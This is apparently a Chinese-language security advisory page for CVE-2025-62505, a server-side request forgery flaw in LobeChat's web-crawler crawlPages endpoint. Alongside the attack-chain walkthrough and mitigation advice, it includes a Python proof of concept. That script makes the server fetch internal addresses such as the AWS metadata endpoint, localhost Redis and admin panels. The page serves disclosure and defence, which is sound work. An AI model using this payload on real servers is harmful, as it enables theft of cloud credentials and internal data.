IPBUF安全漏洞报告
English
CVE-2025-62505 CVSS 3.0 低危

CVE-2025-62505:LobeChat web-crawler组件SSRF漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62505
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
3.0 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LobeChat(lobehub/lobe-chat)

相关标签

SSRF服务端请求伪造LobeChatlobe-chatweb-crawlertRPCCVE-2025-62505信息泄露云元数据泄露低危漏洞

漏洞概述

CVE-2025-62505是LobeChat开源聊天应用平台中web-crawler包存在的一个服务端请求伪造(SSRF)漏洞。该漏洞存在于LobeChat 1.136.1版本中的tools.search.crawlPages tRPC端点。攻击者可以通过向该端点发送包含任意URLs数组以及impls字段值为"naive"的请求,触发服务端使用naive实现对用户提供的URL进行服务器端获取操作。由于该实现在获取URL时未对内部网络地址(如localhost、127.0.0.1、私有IP地址段或云实例元数据端点)进行任何验证或限制,攻击者可以利用该漏洞使服务器访问并泄露内部HTTP服务的响应内容。成功利用此漏洞的攻击者可以获取内部API数据或云元数据凭据等敏感信息。该漏洞需要攻击者拥有有效的用户令牌(在开发模式下可使用绕过标头),因此攻击条件相对受限。CVSS 3.1评分为3.0分,属于低危级别。该漏洞已于1.136.2版本中修复,官方建议用户立即升级至修复版本。

技术细节

该漏洞的核心问题在于LobeChat的web-crawler包在处理tools.search.crawlPages tRPC端点请求时缺乏对目标URL的安全验证机制。具体技术原理如下:

1. **入口点**:tools.search.crawlPages是一个tRPC端点,接收客户端传入的urls数组和impls参数。

2. **漏洞触发**:当客户端在impls字段中传入"naive"值时,服务端会调用Crawler.crawl方法,并使用naive实现来处理用户提供的URL列表。

3. **SSRF实现**:naive实现直接对用户传入的每个URL执行服务器端HTTP/HTTPS请求(通常使用fetch或类似库),而没有对URL的目标地址进行任何过滤或校验。

4. **绕过防护缺失**:代码未实现以下安全措施:
- 未阻止对localhost(127.0.0.1)的访问
- 未阻止对私有IP地址段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)的访问
- 未阻止对云元数据端点(如169.254.169.254)的访问
- 未对URL协议进行限制(如允许file://等危险协议)

5. **利用方式**:攻击者通过提供指向内部服务的URL(如http://169.254.169.254/latest/meta-data/获取AWS元数据),使服务器代替攻击者访问这些内部资源,并将响应内容返回给攻击者。

6. **权限要求**:攻击需要有效的用户令牌(PR:H),但在开发模式下可使用特定绕过标头进行未授权访问。

攻击链分析

STEP 1
步骤1:获取访问凭证
攻击者需要获取LobeChat的有效用户令牌(如通过钓鱼、注册账户等方式)。在开发模式下,可使用特定的绕过标头进行未授权访问。
STEP 2
步骤2:构造SSRF请求
攻击者向tools.search.crawlPages tRPC端点发送精心构造的POST请求,其中urls数组包含指向内部网络地址的恶意URL(如127.0.0.1、169.254.169.254等),impls字段设置为"naive"以触发存在漏洞的naive爬虫实现。
STEP 3
步骤3:服务端执行内部请求
LobeChat服务端接收到请求后,调用Crawler.crawl方法,使用naive实现对用户提供的URL执行服务器端HTTP请求。由于缺乏URL验证,服务端直接访问内部网络资源。
STEP 4
步骤4:获取敏感信息
服务端将内部HTTP服务的响应内容返回给攻击者,攻击者可以获取云元数据凭据(如AWS IAM角色临时凭证)、内部API数据、管理面板内容等敏感信息。
STEP 5
步骤5:进一步渗透
利用获取的云元数据凭据或内部服务信息,攻击者可以进一步访问云资源、横向移动到其他内部服务,扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target LobeChat server with the vulnerable crawlPages endpoint TARGET_URL = "http://target-lobechat-instance:3210/trpc/tools.search.crawlPages" # Authentication token (valid user token required) AUTH_TOKEN = "your-auth-token-here" # SSRF payload - targeting internal services payload = { "json": { "urls": [ "http://127.0.0.1:8080/admin", # Internal admin panel "http://169.254.169.254/latest/meta-data/", # AWS metadata endpoint "http://localhost:6379/", # Internal Redis service "http://192.168.1.1/" # Internal network device ], "impls": ["naive"] } } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Send SSRF request response = requests.post(TARGET_URL, json=payload, headers=headers) # The server will fetch the internal URLs and return responses print("SSRF Response:", response.json())

影响范围

lobe-chat < 1.136.2

防御指南

临时缓解措施
在升级到修复版本之前,建议采取以下临时缓解措施:1)在网络层面限制LobeChat服务器对内部网络和云元数据端点的出站访问;2)部署反向代理或WAF规则,阻止对127.0.0.1、169.254.169.254等敏感地址的请求;3)禁用或限制tools.search.crawlPages端点的访问权限;4)在云环境中启用IMDSv2并限制元数据访问;5)监控异常的出站HTTP请求,及时发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表